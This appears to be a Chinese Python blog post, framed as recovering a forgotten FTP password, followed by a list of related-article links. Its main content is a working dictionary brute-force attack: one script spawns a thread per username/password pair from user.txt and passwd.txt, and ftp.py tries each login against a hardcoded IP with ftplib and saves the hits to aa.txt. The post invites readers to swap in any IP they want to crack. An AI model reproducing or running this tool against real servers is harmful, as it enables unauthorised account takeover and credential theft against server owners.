忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python getopt 参数处理小示例
Jun 09 Python
在Python的框架中为MySQL实现restful接口的教程
Apr 08 Python
python微信跳一跳系列之自动计算跳一跳距离
Feb 26 Python
如何在python字符串中输入纯粹的{}
Aug 22 Python
Python tkinter label 更新方法
Oct 11 Python
python仿evething的文件搜索器实例代码
May 13 Python
python文件写入write()的操作
May 14 Python
python sklearn常用分类算法模型的调用
Oct 16 Python
利用Tensorflow的队列多线程读取数据方式
Feb 05 Python
python中remove函数的踩坑记录
Jan 04 Python
flask框架中的cookie和session使用
Jan 31 Python
Python简易开发之制作计算器
Apr 28 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
PHP在网页中动态生成PDF文件详细教程
2014/07/05 PHP
WordPress中is_singular()函数简介
2015/02/05 PHP
php flush无效,IIS7下php实时输出的方法
2016/08/25 PHP
如何在Laravel之外使用illuminate组件详解
2020/09/20 PHP
javascript实现的距离现在多长时间后的一个格式化的日期
2009/10/29 Javascript
两个select之间option的互相添加操作(jquery实现)
2009/11/12 Javascript
基于jQuery的获得各种控件Value的方法
2010/11/19 Javascript
Knockoutjs的环境搭建教程
2012/11/26 Javascript
js获取控件位置以及不同浏览器中的差别介绍
2013/08/08 Javascript
浅谈JS闭包中的循环绑定处理程序
2014/11/09 Javascript
javascript日期处理函数,性能优化批处理
2015/09/06 Javascript
BootStrap实现手机端轮播图左右滑动事件
2016/10/13 Javascript
angularjs2中父子组件的数据传递的实例代码
2017/07/05 Javascript
vue+Java后端进行调试时解决跨域问题的方式
2017/10/19 Javascript
ios设备中angularjs无法改变页面title的解决方法
2018/09/13 Javascript
简单说说如何使用vue-router插件的方法
2019/04/08 Javascript
详解Vue+ElementUI从零开始搭建自己的网站(一、环境搭建)
2019/04/30 Javascript
微信小程序swiper实现文字纵向轮播提示效果
2020/01/21 Javascript
JavaScript利用键盘码控制div移动
2020/03/19 Javascript
Python yield 使用方法浅析
2017/05/20 Python
pandas实现选取特定索引的行
2018/04/20 Python
Python用5行代码写一个自定义简单二维码
2018/10/21 Python
Python地图绘制实操详解
2019/03/04 Python
Python实现计算对象的内存大小示例
2019/07/10 Python
python实现可下载音乐的音乐播放器
2020/02/25 Python
Python Flask框架实现简单加法工具过程解析
2020/06/03 Python
Python 处理日期时间的Arrow库使用
2020/08/18 Python
详解python中的异常和文件读写
2021/01/03 Python
墨西哥皇宫度假村预订:Palace Resorts
2018/06/16 全球购物
Volcom英国官方商店:美国殿堂级滑板、冲浪、滑雪服装品牌
2019/03/13 全球购物
大学生助学金感谢信
2015/01/21 职场文书
个人优缺点总结
2015/02/28 职场文书
党校个人总结
2015/03/04 职场文书
2016年先进班集体事迹材料
2016/02/26 职场文书
Python实现byte转integer
2021/06/03 Python
app场景下uniapp的扫码记录
2022/07/23 Java/Android